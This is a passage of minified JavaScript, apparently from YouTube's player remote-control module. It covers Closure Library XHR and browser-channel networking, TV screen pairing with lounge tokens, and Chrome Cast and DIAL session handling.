!g.Q(this.player.T().experiments,"deprecate_pair_servlet_enabled")&&(this.po=new O8,g.D(this,this.po),g.xP(a,this.po.element,4));this.xr=!!y8();this.Fu=!!g.pu("yt-remote-manual-pairing-warning-shown")}},T8=function(a){a.Um&&(a.player.removeEventListener("presentingplayerstatechange",a.Um),a.Um=null)},oKa=function(a,b,c){a.Lc=c;
a.player.V("presentingplayerstatechange",new g.VK(c,b))},pKa=function(a,b,c){var d=!1;
1===b?d=!a.xr:2===b&&(d=!a.Fu);d&&g.XK(c,8)&&(a.player.pauseVideo(),T8(a))},U8=function(a,b){if(b.key!==a.Hk.key)if(b.key===a.Qh.key)D8();
else{if(a.po&&!a.Fu&&b!==a.Qh&&"cast-selector-receiver"!==b.key&&g.UD(a.player.T()))qKa(a);else{var c;(c=!g.Q(a.player.T().experiments,"mdx_enable_privacy_disclosure_ui"))||(c=((c=g.L("PLAYER_CONFIG"))&&c.args&&void 0!==c.args.authuser?!0:!(!g.L("SESSION_INDEX")&&!g.L("LOGGED_IN")))||a.xr||!a.Ro);(c?0:g.UD(a.player.T())||g.YD(a.player.T()))&&rKa(a)}a.Hk=b;var d=a.player.getPlaylistId();c=a.player.getVideoData(1);var e=c.videoId;if(!d&&!e||(2===a.player.getAppState()||1===a.player.getAppState())&&
g.Q(a.player.T().experiments,"should_clear_video_data_on_player_cued_unstarted"))c=null;else{var f=a.player.getPlaylist();if(f){var h=[];for(var l=0;l<f.getLength();l++)h[l]=f.Na(l).videoId}else h=[e];f=a.player.getCurrentTime(1);d={videoIds:h,listId:d,videoId:e,playerParams:c.playerParams,clickTrackingParams:c.Ug,index:Math.max(a.player.getPlaylistIndex(),0),currentTime:0===f?void 0:f};(c=EHa(c))&&(d.locationInfo=c);c=d}v8("Connecting to: "+g.Lj(b));"cast-selector-receiver"==b.key?(x8(c||null),c=
c||null,R7()?O7().setLaunchParams(c):M7("setLaunchParams called before ready.")):!c&&G8()&&u8()==b.key?c6("yt-remote-connection-change",!0):(D8(),x8(c||null),c=t8().sg(),(c=k6(c,b.key))&&E8(c,1))}},rKa=function(a){g.LK(a.player).Gb()?a.player.pauseVideo():(a.Um=function(b){pKa(a,1,b)},a.player.addEventListener("presentingplayerstatechange",a.Um));
a.Ro&&a.Ro.zc();B8()||(I8=!0)},qKa=function(a){g.LK(a.player).Gb()?a.player.pauseVideo():(a.Um=function(b){pKa(a,2,b)},a.player.addEventListener("presentingplayerstatechange",a.Um));
a.po&&a.po.zc();B8()||(I8=!0)},rIa={"\x00":"\\0",
"\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\x0B",'"':'\\"',"\\":"\\\\","<":"\\u003C"},J6={"'":"\\'"},sKa={},NHa={UT:"atp",e3:"ska",b2:"que",j0:"mus",d3:"sus",BX:"dsp",v2:"seq",L_:"mic",BW:"dpa"},q6,m6="",fIa=bIa("loadCastFramework")||bIa("loadCastApplicationFramework"),GJa=["pkedcjkdefgpdelpbcmbmeomcjbeemfm","enhhojjnijigcajfphajepfemndkmdlo"];/*
Copyright The Closure Library Authors.
SPDX-License-Identifier: Apache-2.0
*/
g.Va(t6,g.B);g.k=t6.prototype;g.k.HK=function(a){this.D=arguments;this.u=!1;this.ab?this.C=g.A()+this.xf:this.ab=g.Mm(this.F,this.xf)};
g.k.stop=function(){this.ab&&(g.v.clearTimeout(this.ab),this.ab=null);this.C=null;this.u=!1;this.D=[]};
g.k.pause=function(){++this.B};
g.k.resume=function(){this.B&&(--this.B,!this.B&&this.u&&(this.u=!1,this.I.apply(null,this.D)))};
g.k.ca=function(){this.stop();t6.Hd.ca.call(this)};
g.k.IK=function(){this.C?(this.ab=g.Mm(this.F,this.C-g.A()),this.C=null):(this.ab=null,this.B?this.u=!0:(this.u=!1,this.I.apply(null,this.D)))};g.u(u6,g.B);g.k=u6.prototype;g.k.DE=function(a){this.C=arguments;this.ab||this.B?this.u=!0:v6(this)};
g.k.stop=function(){this.ab&&(g.v.clearTimeout(this.ab),this.ab=null,this.u=!1,this.C=null)};
g.k.pause=function(){this.B++};
g.k.resume=function(){this.B--;this.B||!this.u||this.ab||(this.u=!1,v6(this))};
g.k.ca=function(){g.B.prototype.ca.call(this);this.stop()};x6.prototype.stringify=function(a){return g.v.JSON.stringify(a,void 0)};
x6.prototype.parse=function(a){return g.v.JSON.parse(a,void 0)};var z6=new g.bm;g.u(iIa,g.Fl);B6.prototype.u=null;B6.prototype.getOptions=function(){var a;(a=this.u)||(a={},kIa(this)&&(a[0]=!0,a[1]=!0),a=this.u=a);return a};var V8;g.Va(jIa,B6);V8=new jIa;g.k=C6.prototype;g.k.xm=null;g.k.ki=!1;g.k.wp=null;g.k.iB=null;g.k.Zo=null;g.k.kp=null;g.k.Bk=null;g.k.El=null;g.k.Vm=null;g.k.te=null;g.k.zs=0;g.k.ri=null;g.k.Bw=null;g.k.Tk=null;g.k.Aq=-1;g.k.EH=!0;g.k.em=!1;g.k.vy=0;g.k.Qv=null;var pIa={},F6={};g.k=C6.prototype;g.k.setTimeout=function(a){this.F=a};
g.k.QR=function(a){a=a.target;var b=this.Qv;b&&3==O6(a)?b.DE():this.JI(a)};
g.k.JI=function(a){try{if(a==this.te)a:{var b=O6(this.te),c=this.te.I,d=this.te.getStatus();if(g.ye&&!g.be(10)||g.Ae&&!g.ae("420+")){if(4>b)break a}else if(3>b||3==b&&!g.yg&&!Q6(this.te))break a;this.em||4!=b||7==c||(8==c||0>=d?this.u.Xh(3):this.u.Xh(2));K6(this);var e=this.te.getStatus();this.Aq=e;var f=Q6(this.te);(this.ki=200==e)?(4==b&&H6(this),this.I?(qIa(this,b,f),g.yg&&this.ki&&3==b&&(this.D.xa(this.C,"tick",this.LR),this.C.start())):G6(this,f),this.ki&&!this.em&&(4==b?this.u.Xt(this):(this.ki=
!1,E6(this)))):(400==e&&0<f.indexOf("Unknown SID")?(this.Tk=3,A6(13)):(this.Tk=0,A6(14)),H6(this),I6(this))}}catch(h){this.te&&Q6(this.te)}finally{}};
g.k.LR=function(){var a=O6(this.te),b=Q6(this.te);this.zs<b.length&&(K6(this),qIa(this,a,b),this.ki&&4!=a&&E6(this))};
g.k.iR=function(a){y6((0,g.z)(this.hR,this,a),0)};
g.k.hR=function(a){this.em||(K6(this),G6(this,a),E6(this))};
g.k.yG=function(a){y6((0,g.z)(this.gR,this,a),0)};
g.k.gR=function(a){this.em||(H6(this),this.ki=a,this.u.Xt(this),this.u.Xh(4))};
g.k.cancel=function(){this.em=!0;H6(this)};
g.k.rR=function(){this.wp=null;var a=g.A();0<=a-this.iB?(2!=this.kp&&this.u.Xh(3),H6(this),this.Tk=2,A6(18),I6(this)):tIa(this,this.iB-a)};
g.k.getLastError=function(){return this.Tk};g.Va(M6,g.bm);var AIa=/^https?$/i,tKa=["POST","PUT"];g.k=M6.prototype;
g.k.send=function(a,b,c,d){if(this.u)throw Error("[goog.net.XhrIo] Object is active with another request="+this.S+"; newUri="+a);b=b?b.toUpperCase():"GET";this.S=a;this.D="";this.I=0;this.Fa=b;this.ha=!1;this.C=!0;this.u=this.fa?lIa(this.fa):lIa(V8);this.ba=this.fa?this.fa.getOptions():V8.getOptions();this.u.onreadystatechange=(0,g.z)(this.nG,this);try{b6(P6(this,"Opening Xhr")),this.ma=!0,this.u.open(b,String(a),!0),this.ma=!1}catch(f){b6(P6(this,"Error opening Xhr: "+f.message));zIa(this,f);return}a=
c||"";var e=this.headers.clone();d&&JHa(d,function(f,h){e.set(h,f)});
d=g.fb(e.Sg(),xIa);c=g.v.FormData&&a instanceof g.v.FormData;!g.jb(tKa,b)||d||c||e.set("Content-Type","application/x-www-form-urlencoded;charset=utf-8");e.forEach(function(f,h){this.u.setRequestHeader(h,f)},this);
this.Ja&&(this.u.responseType=this.Ja);"withCredentials"in this.u&&this.u.withCredentials!==this.ka&&(this.u.withCredentials=this.ka);try{CIa(this),0<this.K&&(this.Y=wIa(this.u),b6(P6(this,"Will abort after "+this.K+"ms if incomplete, xhr2 "+this.Y)),this.Y?(this.u.timeout=this.K,this.u.ontimeout=(0,g.z)(this.zD,this)):this.X=g.Mm(this.zD,this.K,this)),b6(P6(this,"Sending request")),this.P=!0,this.u.send(a),this.P=!1}catch(f){b6(P6(this,"Send error: "+f.message)),zIa(this,f)}};
g.k.zD=function(){"undefined"!=typeof g.k1&&this.u&&(this.D="Timed out after "+this.K+"ms, aborting",this.I=8,P6(this,this.D),this.dispatchEvent("timeout"),this.abort(8))};
g.k.abort=function(a){this.u&&this.C&&(P6(this,"Aborting"),this.C=!1,this.F=!0,this.u.abort(),this.F=!1,this.I=a||7,this.dispatchEvent("complete"),this.dispatchEvent("abort"),N6(this))};
g.k.ca=function(){this.u&&(this.C&&(this.C=!1,this.F=!0,this.u.abort(),this.F=!1),N6(this,!0));M6.Hd.ca.call(this)};
g.k.nG=function(){this.na()||(this.ma||this.P||this.F?BIa(this):this.pQ())};
g.k.pQ=function(){BIa(this)};
g.k.isActive=function(){return!!this.u};
g.k.isComplete=function(){return 4==O6(this)};
g.k.getStatus=function(){try{return 2<O6(this)?this.u.status:-1}catch(a){return-1}};
g.k.getLastError=function(){return"string"===typeof this.D?this.D:String(this.D)};g.k=DIa.prototype;g.k.ty=null;g.k.hg=null;g.k.Rv=!1;g.k.yD=null;g.k.Bt=null;g.k.az=null;g.k.uy=null;g.k.Ka=null;g.k.Kj=-1;g.k.zq=null;g.k.Op=null;g.k.connect=function(a){this.uy=a;a=R6(this.u,null,this.uy);A6(3);this.yD=g.A();var b=this.u.K;null!=b?(this.zq=b[0],(this.Op=b[1])?(this.Ka=1,GIa(this)):(this.Ka=2,T6(this))):($5(a,"MODE","init"),this.hg=new C6(this,void 0,void 0,void 0),this.hg.xm=this.ty,D6(this.hg,a,!1,null,!0),this.Ka=0)};
g.k.JJ=function(a){if(a)this.Ka=2,T6(this);else{A6(4);var b=this.u;b.Oi=b.Gk.Kj;$6(b,9)}a&&this.Xh(2)};
g.k.Fx=function(a){return this.u.Fx(a)};
g.k.abort=function(){this.hg&&(this.hg.cancel(),this.hg=null);this.Kj=-1};
g.k.xD=function(){return!1};
g.k.qG=function(a,b){this.Kj=a.Aq;if(0==this.Ka)if(b){try{var c=this.B.parse(b)}catch(d){c=this.u;c.Oi=this.Kj;$6(c,2);return}this.zq=c[0];this.Op=c[1]}else c=this.u,c.Oi=this.Kj,$6(c,2);else if(2==this.Ka)if(this.Rv)A6(7),this.az=g.A();else if("11111"==b){if(A6(6),this.Rv=!0,this.Bt=g.A(),c=this.Bt-this.yD,!g.ye||g.be(10)||500>c)this.Kj=200,this.hg.cancel(),A6(12),S6(this.u,this,!0)}else A6(8),this.Bt=this.az=g.A(),this.Rv=!1};
g.k.Xt=function(){this.Kj=this.hg.Aq;if(this.hg.ki)0==this.Ka?this.Op?(this.Ka=1,GIa(this)):(this.Ka=2,T6(this)):2==this.Ka&&((!g.ye||g.be(10)?!this.Rv:200>this.az-this.Bt)?(A6(11),S6(this.u,this,!1)):(A6(12),S6(this.u,this,!0)));else{0==this.Ka?A6(9):2==this.Ka&&A6(10);var a=this.u;this.hg.getLastError();a.Oi=this.Kj;$6(a,2)}};
g.k.Ur=function(){return this.u.Ur()};
g.k.isActive=function(){return this.u.isActive()};
g.k.Xh=function(a){this.u.Xh(a)};g.k=U6.prototype;g.k.Sk=null;g.k.hq=null;g.k.Uf=null;g.k.Sd=null;g.k.sy=null;g.k.Dt=null;g.k.dC=null;g.k.Wt=null;g.k.kr=0;g.k.XN=0;g.k.tf=null;g.k.Jk=null;g.k.xj=null;g.k.km=null;g.k.Gk=null;g.k.yw=null;g.k.mo=-1;g.k.nE=-1;g.k.Oi=-1;g.k.Un=0;g.k.In=0;g.k.fm=8;g.Va(IIa,g.Fl);g.Va(JIa,g.Fl);g.k=U6.prototype;g.k.connect=function(a,b,c,d,e){A6(0);this.sy=b;this.hq=c||{};d&&void 0!==e&&(this.hq.OSID=d,this.hq.OAID=e);this.F?(y6((0,g.z)(this.vC,this,a),100),NIa(this)):this.vC(a)};
g.k.vC=function(a){this.Gk=new DIa(this);this.Gk.ty=this.Sk;this.Gk.B=this.D;this.Gk.connect(a)};
g.k.xD=function(){return 0==this.Ka};
g.k.getState=function(){return this.Ka};
g.k.xG=function(a){this.Jk=null;RIa(this,a)};
g.k.wG=function(){this.xj=null;this.Sd=new C6(this,this.B,"rpc",this.I);this.Sd.xm=this.Sk;this.Sd.vy=0;var a=this.dC.clone();Y5(a,"RID","rpc");Y5(a,"SID",this.B);Y5(a,"CI",this.yw?"0":"1");Y5(a,"AID",this.mo);V6(this,a);if(!g.ye||g.be(10))Y5(a,"TYPE","xmlhttp"),D6(this.Sd,a,!0,this.Wt,!1);else{Y5(a,"TYPE","html");var b=this.Sd,c=!!this.Wt;b.kp=3;b.Bk=Z5(a.clone());sIa(b,c)}};
g.k.qG=function(a,b){if(0!=this.Ka&&(this.Sd==a||this.Uf==a))if(this.Oi=a.Aq,this.Uf==a&&3==this.Ka)if(7<this.fm){try{var c=this.D.parse(b)}catch(f){c=null}if(Array.isArray(c)&&3==c.length)if(0==c[0])a:{if(!this.xj){if(this.Sd)if(this.Sd.Zo+3E3<this.Uf.Zo)X6(this),this.Sd.cancel(),this.Sd=null;else break a;Z6(this);A6(19)}}else this.nE=c[1],0<this.nE-this.mo&&37500>c[2]&&this.yw&&0==this.In&&!this.km&&(this.km=y6((0,g.z)(this.DO,this),6E3));else $6(this,11)}else b!=sKa.oW.u&&$6(this,11);else if(this.Sd==
a&&X6(this),!g.pc(b)){c=this.D.parse(b);for(var d=0;d<c.length;d++){var e=c[d];this.mo=e[0];e=e[1];2==this.Ka?"c"==e[0]?(this.B=e[1],this.Wt=e[2],e=e[3],null!=e?this.fm=e:this.fm=6,this.Ka=3,this.tf&&this.tf.rC(),this.dC=R6(this,this.Ur()?this.Wt:null,this.sy),SIa(this)):"stop"==e[0]&&$6(this,7):3==this.Ka&&("stop"==e[0]?$6(this,7):"noop"!=e[0]&&this.tf&&this.tf.qC(e),this.In=0)}}};
g.k.DO=function(){null!=this.km&&(this.km=null,this.Sd.cancel(),this.Sd=null,Z6(this),A6(20))};
g.k.Xt=function(a){if(this.Sd==a){X6(this);this.Sd=null;var b=2}else if(this.Uf==a)this.Uf=null,b=1;else return;this.Oi=a.Aq;if(0!=this.Ka)if(a.ki)1==b?(b=z6,b.dispatchEvent(new IIa(b,a.Vm?a.Vm.length:0,g.A()-a.Zo,this.Un)),W6(this),this.C.length=0):SIa(this);else{var c=a.getLastError(),d;if(!(d=3==c||7==c||0==c&&0<this.Oi)){if(d=1==b)this.Uf||this.Jk||1==this.Ka||2<=this.Un?d=!1:(this.Jk=y6((0,g.z)(this.xG,this,a),TIa(this,this.Un)),this.Un++,d=!0);d=!(d||2==b&&Z6(this))}if(d)switch(c){case 1:$6(this,
5);break;case 4:$6(this,10);break;case 3:$6(this,6);break;case 7:$6(this,12);break;default:$6(this,2)}}};
g.k.gK=function(a){if(!g.jb(arguments,this.Ka))throw Error("Unexpected channel state: "+this.Ka);};
g.k.xS=function(a){a?A6(2):(A6(1),UIa(this,8))};
g.k.Fx=function(a){if(a)throw Error("Can't create secondary domain capable XhrIo object.");a=new M6;a.ka=!1;return a};
g.k.isActive=function(){return!!this.tf&&this.tf.isActive(this)};
g.k.Xh=function(a){var b=z6;b.dispatchEvent(new JIa(b,a))};
g.k.Ur=function(){return!(!g.ye||g.be(10))};
g.k=VIa.prototype;g.k.rC=function(){};
g.k.qC=function(){};
g.k.pC=function(){};
g.k.sx=function(){};
g.k.ZC=function(){return{}};
g.k.isActive=function(){return!0};g.k=WIa.prototype;g.k.isEmpty=function(){return g.kb(this.u)&&g.kb(this.B)};
g.k.clear=function(){this.u=[];this.B=[]};
g.k.contains=function(a){return g.jb(this.u,a)||g.jb(this.B,a)};
g.k.remove=function(a){var b=this.u;var c=(0,g.OBa)(b,a);0<=c?(g.nb(b,c),b=!0):b=!1;return b||g.ob(this.B,a)};
g.k.Gf=function(){for(var a=[],b=this.u.length-1;0<=b;--b)a.push(this.u[b]);var c=this.B.length;for(b=0;b<c;++b)a.push(this.B[b]);return a};g.Va(a7,g.B);g.k=a7.prototype;g.k.bR=function(){this.xf=Math.min(3E5,2*this.xf);this.C();this.B&&this.start()};
g.k.start=function(){var a=this.xf+15E3*Math.random();g.mn(this.u,a);this.B=g.A()+a};
g.k.stop=function(){this.u.stop();this.B=0};
g.k.isActive=function(){return this.u.isActive()};
g.k.reset=function(){this.u.stop();this.xf=5E3};g.Va(b7,VIa);g.k=b7.prototype;g.k.subscribe=function(a,b,c){return this.C.subscribe(a,b,c)};
g.k.unsubscribe=function(a,b,c){return this.C.unsubscribe(a,b,c)};
g.k.ll=function(a){return this.C.ym(a)};
g.k.V=function(a,b){return this.C.V.apply(this.C,arguments)};
g.k.dispose=function(){this.X||(this.X=!0,g.fg(this.C),ZIa(this),g.fg(this.B),this.B=null,this.Y=function(){return""})};
g.k.na=function(){return this.X};
g.k.connect=function(a,b,c){if(!this.u||2!=this.u.getState()){this.S="";this.B.stop();this.F=a||null;this.D=b||0;a=this.ba+"/test";b=this.ba+"/bind";var d=new U6(c?c.firstTestResults:null,c?c.secondTestResults:null,this.fa),e=this.u;e&&(e.tf=null);d.tf=this;this.u=d;c7(this);if(this.u){d=g.L("ID_TOKEN");var f=this.u.Sk||{};d?f["x-youtube-identity-token"]=d:delete f["x-youtube-identity-token"];this.u.Sk=f}e?(3!=e.getState()&&0==PIa(e)||e.getState(),this.u.connect(a,b,this.I,e.B,e.mo)):c?this.u.connect(a,
b,this.I,c.sessionId,c.arrayId):this.u.connect(a,b,this.I)}};
g.k.sendMessage=function(a,b){var c={_sc:a};b&&g.Yb(c,b);this.B.isActive()||2==(this.u?this.u.getState():0)?this.K.push(c):d7(this)&&(c7(this),OIa(this.u,c))};
g.k.rC=function(){this.B.reset();this.F=null;this.D=0;if(this.K.length){var a=this.K;this.K=[];for(var b=0,c=a.length;b<c;++b)OIa(this.u,a[b])}this.V("handlerOpened")};
g.k.pC=function(a){var b=2==a&&401==this.u.Oi;4==a||b||this.B.start();this.V("handlerError",a)};
g.k.sx=function(a){if(!this.B.isActive())this.V("handlerClosed");else if(a)for(var b=0,c=a.length;b<c;++b){var d=a[b].map;d&&this.K.push(d)}};
g.k.ZC=function(){var a={v:2};this.S&&(a.gsessionid=this.S);0!=this.D&&(a.ui=""+this.D);0!=this.P&&(a.ui=""+this.P);this.F&&g.Yb(a,this.F);return a};
g.k.qC=function(a){"S"==a[0]?this.S=a[1]:"gracefulReconnect"==a[0]?(this.B.start(),MIa(this.u)):this.V("handlerMessage",new XIa(a[0],a[1]))};
g.k.cS=function(){this.B.isActive();0==PIa(this.u)&&this.connect(this.F,this.D)};e7.prototype.D=function(a,b,c,d){b?a(d):a({text:c.responseText})};
e7.prototype.C=function(a,b){a(Error("Request error: "+b.status))};
e7.prototype.F=function(a){a(Error("request timed out"))};var gJa=g.A(),h7=null,k7=Array(50),j7=-1,l7=!1;g.Va(m7,g.O);m7.prototype.sg=function(){return this.screens};
m7.prototype.contains=function(a){return!!j6(this.screens,a)};
m7.prototype.get=function(a){return a?k6(this.screens,a):null};
m7.prototype.info=function(a){i7(this.I,a)};g.u(n7,g.O);g.k=n7.prototype;g.k.start=function(){!this.u&&isNaN(this.ab)&&this.KE()};
g.k.stop=function(){this.u&&(this.u.abort(),this.u=null);isNaN(this.ab)||(g.Mo(this.ab),this.ab=NaN)};
g.k.ca=function(){this.stop();g.O.prototype.ca.call(this)};
g.k.KE=function(){this.ab=NaN;this.u=g.uq(f7(this.F,"/pairing/get_screen"),{method:"POST",qc:{pairing_code:this.I},timeout:5E3,onSuccess:(0,g.z)(this.JL,this),onError:(0,g.z)(this.IL,this),Ag:(0,g.z)(this.KL,this)})};
g.k.JL=function(a,b){this.u=null;var c=b.screen||{};c.dialId=this.C;c.name=this.D;this.V("pairingComplete",new e6(c))};
g.k.IL=function(a){this.u=null;a.status&&404==a.status?this.B>=uKa.length?this.V("pairingFailed",Error("DIAL polling timed out")):(a=uKa[this.B],this.ab=g.Ko((0,g.z)(this.KE,this),a),this.B++):this.V("pairingFailed",Error("Server error "+a.status))};
g.k.KL=function(){this.u=null;this.V("pairingFailed",Error("Server not responding"))};
var uKa=[2E3,2E3,1E3,1E3,1E3,2E3,2E3,5E3,5E3,1E4];g.Va(p7,m7);g.k=p7.prototype;g.k.start=function(){o7(this)&&this.V("screenChange");!g.pu("yt-remote-lounge-token-expiration")&&kJa(this);g.Mo(this.u);this.u=g.Ko((0,g.z)(this.start,this),1E4)};
g.k.add=function(a,b){o7(this);hJa(this,a);q7(this,!1);this.V("screenChange");b(a);a.token||kJa(this)};
g.k.remove=function(a,b){var c=o7(this);jJa(this,a)&&(q7(this,!1),c=!0);b(a);c&&this.V("screenChange")};
g.k.ww=function(a,b,c,d){var e=o7(this),f=this.get(a.id);f?(f.name!=b&&(f.name=b,q7(this,!1),e=!0),c(a)):d(Error("no such local screen."));e&&this.V("screenChange")};
g.k.ca=function(){g.Mo(this.u);p7.Hd.ca.call(this)};
g.k.QK=function(a){o7(this);var b=this.screens.length;a=a&&a.screens||[];for(var c=0,d=a.length;c<d;++c){var e=a[c],f=this.get(e.screenId);f&&(f.token=e.loungeToken,--b)}q7(this,!b);b&&i7(this.I,"Missed "+b+" lounge tokens.")};
g.k.PK=function(a){i7(this.I,"Requesting lounge tokens failed: "+a)};g.u(s7,g.O);g.k=s7.prototype;g.k.start=function(){var a=parseInt(g.pu("yt-remote-fast-check-period")||"0",10);(this.D=g.A()-144E5<a?0:a)?v7(this):(this.D=g.A()+3E5,g.ou("yt-remote-fast-check-period",this.D),this.iA())};
g.k.isEmpty=function(){return g.Sb(this.u)};
g.k.update=function(){r7("Updating availability on schedule.");var a=this.I(),b=g.Fb(this.u,function(c,d){return c&&!!k6(a,d)},this);
u7(this,b)};
g.k.ca=function(){g.Mo(this.C);this.C=NaN;this.B&&(this.B.abort(),this.B=null);g.O.prototype.ca.call(this)};
g.k.iA=function(){g.Mo(this.C);this.C=NaN;this.B&&this.B.abort();var a=mJa(this);if(a6(a)){var b=f7(this.F,"/pairing/get_screen_availability");this.B=g7(this.F,b,{lounge_token:g.Mb(a).join(",")},(0,g.z)(this.JQ,this,a),(0,g.z)(this.IQ,this))}else u7(this,{}),v7(this)};
g.k.JQ=function(a,b){this.B=null;var c=g.Mb(mJa(this));if(g.Ab(c,g.Mb(a))){c=b.screens||[];for(var d={},e=0,f=c.length;e<f;++e)d[a[c[e].loungeToken]]="online"==c[e].status;u7(this,d);v7(this)}else this.Ad("Changing Screen set during request."),this.iA()};
g.k.IQ=function(a){this.Ad("Screen availability failed: "+a);this.B=null;v7(this)};
g.k.Ad=function(a){i7("OnlineScreenService",a)};g.Va(w7,m7);g.k=w7.prototype;g.k.start=function(){this.B.start();this.u.start();this.screens.length&&(this.V("screenChange"),this.u.isEmpty()||this.V("onlineScreenChange"))};
g.k.add=function(a,b,c){this.B.add(a,b,c)};
g.k.remove=function(a,b,c){this.B.remove(a,b,c);this.u.update()};
g.k.ww=function(a,b,c,d){this.B.contains(a)?this.B.ww(a,b,c,d):(a="Updating name of unknown screen: "+a.name,i7(this.I,a),d(Error(a)))};
g.k.sg=function(a){return a?this.screens:g.qb(this.screens,g.Ke(this.C,function(b){return!this.contains(b)},this))};
g.k.OI=function(){return g.Ke(this.sg(!0),function(a){return!!this.u.u[a.id]},this)};
g.k.QI=function(a,b,c,d,e){this.info("getDialScreenByPairingCode "+a+" / "+b);var f=new n7(this.F,a,b,c);f.subscribe("pairingComplete",(0,g.z)(function(h){g.fg(f);d(x7(this,h))},this));
f.subscribe("pairingFailed",function(h){g.fg(f);e(h)});
f.start();return(0,g.z)(f.stop,f)};
g.k.ZS=function(a,b,c,d){g.uq(f7(this.F,"/pairing/get_screen"),{method:"POST",qc:{pairing_code:a},timeout:5E3,onSuccess:(0,g.z)(function(e,f){var h=new e6(f.screen||{});if(!h.name||qJa(this,h.name)){a:{var l=h.name;for(var m=2,n=b(l,m);qJa(this,n);){m++;if(20<m)break a;n=b(l,m)}l=n}h.name=l}c(x7(this,h))},this),
onError:(0,g.z)(function(e){d(Error("pairing request failed: "+e.status))},this),
Ag:(0,g.z)(function(){d(Error("pairing request timed out."))},this)})};
g.k.ca=function(){g.fg(this.B);g.fg(this.u);w7.Hd.ca.call(this)};
g.k.WK=function(){sJa(this);this.V("screenChange");this.u.update()};
w7.prototype.dispose=w7.prototype.dispose;g.Va(z7,g.O);g.k=z7.prototype;g.k.getScreen=function(){return this.P};
g.k.Mf=function(a){this.na()||(a&&B7(this,""+a),this.P=null,this.V("sessionScreen",null))};
g.k.info=function(a){i7(this.ba,a)};
g.k.SI=function(){return null};
g.k.uA=function(a){var b=this.u;a?(b.displayStatus=new chrome.cast.ReceiverDisplayStatus(a,[]),b.displayStatus.showStop=!0):b.displayStatus=null;chrome.cast.setReceiverDisplayStatus(b,(0,g.z)(function(){this.info("Updated receiver status for "+b.friendlyName+": "+a)},this),(0,g.z)(function(){B7(this,"Failed to update receiver status for: "+b.friendlyName)},this))};
g.k.ca=function(){this.uA("");z7.Hd.ca.call(this)};g.u(C7,z7);g.k=C7.prototype;g.k.tA=function(a){if(this.B){if(this.B==a)return;B7(this,"Overriding cast sesison with new session object");xJa(this);this.B.removeUpdateListener(this.S);this.B.removeMessageListener("urn:x-cast:com.google.youtube.mdx",this.K)}this.B=a;this.B.addUpdateListener(this.S);this.B.addMessageListener("urn:x-cast:com.google.youtube.mdx",this.K);uJa(this)};
g.k.no=function(a){this.info("launchWithParams no-op for Cast: "+g.Lj(a))};
g.k.stop=function(){this.B?this.B.stop((0,g.z)(function(){this.Mf()},this),(0,g.z)(function(){this.Mf(Error("Failed to stop receiver app."))},this)):this.Mf(Error("Stopping cast device without session."))};
g.k.uA=function(){};
g.k.ca=function(){this.info("disposeInternal");xJa(this);this.B&&(this.B.removeUpdateListener(this.S),this.B.removeMessageListener("urn:x-cast:com.google.youtube.mdx",this.K));this.B=null;z7.prototype.ca.call(this)};
g.k.yR=function(a,b){if(!this.na())if(b){var c=w6(b);if(g.Pa(c)){var d=""+c.type;c=c.data||{};this.info("onYoutubeMessage_: "+d+" "+g.Lj(c));switch(d){case "mdxSessionStatus":tJa(this,c);break;default:B7(this,"Unknown youtube message: "+d)}}else B7(this,"Unable to parse message.")}else B7(this,"No data in message.")};
g.k.rD=function(a,b,c,d){g.Mo(this.F);this.F=0;pJa(this.D,this.u.label,a,this.u.friendlyName,(0,g.z)(function(e){e?b(e):0<=d?(B7(this,"Screen "+a+" appears to be offline. "+d+" retries left."),this.F=g.Ko((0,g.z)(this.rD,this,a,b,c,d-1),300)):c(Error("Unable to fetch screen."))},this),c)};
g.k.SI=function(){return this.B};
g.k.aT=function(a){this.na()||a||(B7(this,"Cast session died."),this.Mf())};g.u(E7,z7);g.k=E7.prototype;g.k.tA=function(a){this.C=a;this.C.addUpdateListener(this.Y)};
g.k.no=function(a){this.X=a;this.I()};
g.k.stop=function(){this.B();this.B=g.Ka;g.Mo(this.F);this.C?this.C.stop((0,g.z)(this.Mf,this,null),(0,g.z)(this.Mf,this,"Failed to stop DIAL device.")):this.Mf()};
g.k.ca=function(){this.B();this.B=g.Ka;g.Mo(this.F);this.C&&this.C.removeUpdateListener(this.Y);this.C=null;z7.prototype.ca.call(this)};
g.k.dT=function(a){this.na()||a||(B7(this,"DIAL session died."),this.B(),this.B=g.Ka,this.Mf())};
g.k.Gy=function(a){this.S=i6();if(this.X){var b=new chrome.cast.DialLaunchResponse(!0,zJa(this));a(b);yJa(this)}else this.I=(0,g.z)(function(){g.Mo(this.F);this.I=g.Ka;this.F=NaN;var c=new chrome.cast.DialLaunchResponse(!0,zJa(this));a(c);yJa(this)},this),this.F=g.Ko((0,g.z)(function(){this.I()},this),100)};
g.k.nL=function(a,b,c){pJa(this.D,this.K.receiver.label,a,this.u.friendlyName,(0,g.z)(function(d){d&&d.token?(A7(this,d),b(new chrome.cast.DialLaunchResponse(!1))):this.Gy(b,c)},this),(0,g.z)(function(d){B7(this,"Failed to get DIAL screen: "+d);
this.Gy(b,c)},this))};g.u(F7,z7);F7.prototype.stop=function(){this.Mf()};
F7.prototype.tA=function(){};
F7.prototype.no=function(){g.Mo(this.B);this.B=NaN;var a=k6(this.D.sg(),this.u.label);a?A7(this,a):this.Mf(Error("No such screen"))};
F7.prototype.ca=function(){g.Mo(this.B);this.B=NaN;z7.prototype.ca.call(this)};g.u(G7,g.O);g.k=G7.prototype;
g.k.init=function(a,b){chrome.cast.timeout.requestSession=3E4;var c=new chrome.cast.SessionRequest(this.P);this.S||(c.dialRequest=new chrome.cast.DialRequest("YouTube"));var d=chrome.cast.AutoJoinPolicy.TAB_AND_ORIGIN_SCOPED,e=a?chrome.cast.DefaultActionPolicy.CAST_THIS_TAB:chrome.cast.DefaultActionPolicy.CREATE_SESSION,f=(0,g.z)(this.tQ,this);c=new chrome.cast.ApiConfig(c,(0,g.z)(this.sG,this),f,d,e);c.customDialLaunchCallback=(0,g.z)(this.ZO,this);chrome.cast.initialize(c,(0,g.z)(function(){this.na()||
(chrome.cast.addReceiverActionListener(this.F),dJa(),this.B.subscribe("onlineScreenChange",(0,g.z)(this.RI,this)),this.C=BJa(this),chrome.cast.setCustomReceivers(this.C,g.Ka,(0,g.z)(function(h){this.Ad("Failed to set initial custom receivers: "+g.Lj(h))},this)),this.V("yt-remote-cast2-availability-change",I7(this)),b(!0))},this),(0,g.z)(function(h){this.Ad("Failed to initialize API: "+g.Lj(h));
b(!1)},this))};
